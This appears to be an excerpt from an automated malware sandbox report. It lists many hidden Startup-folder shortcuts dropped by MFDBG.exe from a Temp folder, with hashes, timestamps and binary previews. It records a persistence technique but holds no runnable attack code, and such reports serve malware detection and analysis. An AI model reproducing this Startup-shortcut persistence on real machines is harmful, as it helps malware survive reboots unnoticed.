File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926057644135997
Encrypted:	false
SSDEEP:	24:8kBf88EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KxEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1AA913A593980854A92FFB16A8B10056
SHA1:	48E916078D132E257B6ECDCA1F60C94471F5D0D5
SHA-256:	53EAFAD3F0387816B70B8DD0599BAE7EE250A0209B501942542DC06DA1C25275
SHA-512:	AA96036AFFBD3B031BD73ED5F01961FA7AA5274C6825DA47AE6CF63C8FCBBACED598B8D03FE2CEC589BCBE37431C4D659E74EB0C93C3ED74DBF5D59AFC9CAC37
Malicious:	false
Preview:	L..................F....".......d....;'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....?E'd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ada1b5c02f74425bba0ba02ebd19bae7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917511519108894
Encrypted:	false
SSDEEP:	24:8vBfx+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85tEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A91B33B6C45623E1B297EED1E57CBE23
SHA1:	5D4007EE3767FB139678087FA6CA241ACD8F592B
SHA-256:	3A67878F7E31F765928F4ECB593E284AC6D18ECBD044080AF03E925E9A99C6B3
SHA-512:	33C8959DCED92D561C8BE83CA3040D7C6E124636D89F1EBB8D267C7C02F19CD13F2BC2F86A07F706CF7144E1FC559C3683F7D17C5DD4D0AE6E0CA287C288A916
Malicious:	false
Preview:	L..................F....".......d...f89.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_adb0e6ae1d164b2cb80c4fd5f1289cbc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9249606287194
Encrypted:	false
SSDEEP:	24:80Bfv8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8acEvZ0yRO7DLO2zdxdRd1kyg
MD5:	34B4BE50B7C32CF04B583182DF85B274
SHA1:	AAEB1FECD322BA902D8FDD23B1DA37DA07972A22
SHA-256:	F5B095E8F282241A74FE21B01F7F20BB32A16398FB656B2DAC0F14AC0298CC08
SHA-512:	B91505DBD3E88C26EDB3E5AE14D114F99D87CC190371E565918C185059F9E179310C8428A48F4199D8F5F1B4C852A9C7F79B9B7F446229A068F8704ED5B5AB88
Malicious:	false
Preview:	L..................F....".......d...U.N.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....3J.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_adb1926e95a7409a84f9cfac63253a60.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9290619697168045
Encrypted:	false
SSDEEP:	24:8iBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Q59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	779FFCB0E63E452F2AF3E97A80B01038
SHA1:	A18417F54472188066441509E87AB566F75109D3
SHA-256:	FCEBB52E6BEAF93632FD13DB6464A7BF634B2818E3C5E097A177BD089C3028DB
SHA-512:	717006FAD7126FECF68420689CAB79D69519FB26943E537A15CFFEC7648BE02C72097A28519A439E38F7F2B9EF3CEDE86AD29FECFCA42D8F5149B822F8536847
Malicious:	false
Preview:	L..................F....".......d......>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae06cbfd1f3e427bb2d451163546df6f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918168112468699
Encrypted:	false
SSDEEP:	24:8xBfI48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Lg9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	7B97935A8281D7A3D0BC497151136D67
SHA1:	4EDCEF97F6784E904094EF24EB4F4D30E585CA25
SHA-256:	E763BF4F96BF799EF6EE0046C7D724C97BF1E82B20B1D2C792F31B46DE156B52
SHA-512:	35825F588DB164FF98A15DC0713EFB7400617EF2C3ABEEB3D493928B543F2FD59D518259AA49664C8034EF59FDD813CB63BAD21CFAC33FFD4D6D0A607BA705D4
Malicious:	false
Preview:	L..................F....".......d...Eb..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Eb..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae1165dc1f0849c39e798f0698baec0e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924909508463767
Encrypted:	false
SSDEEP:	24:8NBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/JEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3B519F659AFC43EBC408C8CCD861D131
SHA1:	7329437D6E3211A92DAFD3B2155D2F763FAE1067
SHA-256:	47044300731E66F387BCAD245EF3E146FF254C06C23A3B0C178289094A10019C
SHA-512:	CB87D62C40BBD00A7DDFC47A34F994500D859E19779F0ADA09975573D2FE6231C167764036570EDBCAA38F8C067A7ED1899D4C2E9C9295B658644AE7F11B4E7D
Malicious:	false
Preview:	L..................F....".......d......_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4X._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae3abd9456904d769e04732960fea291.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919893468764519
Encrypted:	false
SSDEEP:	24:8NMBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NCvEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FF91C915973266027EB665C0E4AC417C
SHA1:	20ED67AE28721A46F14A02CB13B2484C98B78D9F
SHA-256:	7E74115297AE77164F3E6ABC19AC3E11C65500D85D454EE1637478BD41198C9B
SHA-512:	D5D900CB46745AA426C3DB730437C572C3D1A98772ECC6312159448E6D8FF0DE656E5584E426B2BF3AA4833008F5D6308E69FD29660E0306D50F4ADEC1FD6136
Malicious:	false
Preview:	L..................F....".......d....e(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...I.F(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae3e0b6dbbf44ca1ac821f18cf138bde.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920791642009391
Encrypted:	false
SSDEEP:	24:8HBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	211C76EB2B401A3CF1D08497C5EB6FB2
SHA1:	ACE63C08199EA38142CD3D2093546DE543D7146C
SHA-256:	157E27A0EABBEDDAF78C895A71FD90FFEC7FE752C58F7BE8F386F1F750E3D405
SHA-512:	F94320B28E9A364DF5F0C65930CD1822F167B80220792C1F4DEDDD7DD1F326F410A5717B570D5777CD146D8A630DCCA1EE6B02FF6DB035C66B81A218A6CAF519
Malicious:	false
Preview:	L..................F....".......d...Th,.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....".d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae443fadafe44e0ca11b0c1f7e9a0bb4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922991761015384
Encrypted:	false
SSDEEP:	24:8W3BfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WRWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	68C06019B3B1F06BC2C807D07BD9EC1D
SHA1:	38A07063CC5329861D8F972EDF48548CC55E07DA
SHA-256:	DD274EF355F27C7949F00FF42C05619E113334AF7DF6E851E311C707A8F61F32
SHA-512:	E2AE06C3EB777B48C478B4887BDA07E74456F4FCC82F54AB7AD169650A3CD647192679F156D37C59F8F13EDD261BDBA37CCF61E34883C1A987B6115409D777AA
Malicious:	false
Preview:	L..................F....".......d.....\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aee0ea27092f462aafc90242bcb9de5c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9211853435893325
Encrypted:	false
SSDEEP:	24:8gTBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IeEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C48368FF679F63712161A248B4197827
SHA1:	74D62F8B791C4E550B658DC78DFF6A5D4542CAEE
SHA-256:	512FE7B3AE2838CF41FD12D963B94456E88CAA70AE2E89F3DB0EA025EA6147F8
SHA-512:	A33C12E216B3D25C1E878D5E8045CC33A83C36DA5EFF3E03E38FF9FDC4F6E6DDF20270ED997E624F3A2B41BC48268B151580BE3F110E333105F9ACD364815BD9
Malicious:	false
Preview:	L..................F....".......d....w2$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af6691a9309b45f395dac288b2eba10d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92236400283339
Encrypted:	false
SSDEEP:	24:8h2Bfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8h8PEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AD3E36993A7F2AC894ADFFAB15CEBBFE
SHA1:	03B4B12EA730E7580547A936C487974FD2E9D4AC
SHA-256:	53AF466CF4586A164DF341125FE846606D7D3FC744E0C4339871733ABD81F633
SHA-512:	8BDC6B8A018A9081D3CAC10E72C12BFD5AE3FFA2F187A354C3EDF6D6E83933302E5C1F062340E1F33FDF49B266592513B0E7214F9A15C37E56F0F8F6EF91B397
Malicious:	false
Preview:	L..................F....".......d......]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af936ee15ca74eb78fd816d5c0dbf422.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917778396119458
Encrypted:	false
SSDEEP:	24:8vBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85PEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8D6869BBEC78807BFD015F886CDCC231
SHA1:	AA289FECEC6B5419A5E2E2D13E2190FD0A7BD4E8
SHA-256:	350D80749A55F8785377BF1A40478D94FD01A9EC964BE24DFA12454679D610C0
SHA-512:	A30744CAAEF19E6162FB863B9A1132524D9DCFA9F4CD5385144D975FFBA34C781902B0CE5A14F9B7A743945E1441FD3FE3A594583F1EAF1A6CB6C24C54A5F868
Malicious:	false
Preview:	L..................F....".......d...M.V&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_afa5340990174fac89cb4b66d9fb6bc1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919969511537091
Encrypted:	false
SSDEEP:	24:8iBf048EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Q89EvZ0yRO7DLO2zdxdRd1kyg
MD5:	516096B8278C0E157481F1E958D0E4BD
SHA1:	AC550780F17E022AF330DD1D13FB8CEEDB38C4F2
SHA-256:	B675EA1F56FFC1A3FF44224ACE8870888EBAEE67CC57EFD80F53E7E330A2191E
SHA-512:	D3AB6BAA9B53C51037239BF0322A49EF13FAF0B95A47966860B51EA0B5274EDF2EA62520E6895A0EF1645568E1D521D3882289EB18823C399198D6915FD6934A
Malicious:	false
Preview:	L..................F....".......d....Y..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b001ba6e01c047deb30853522f2e30a6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
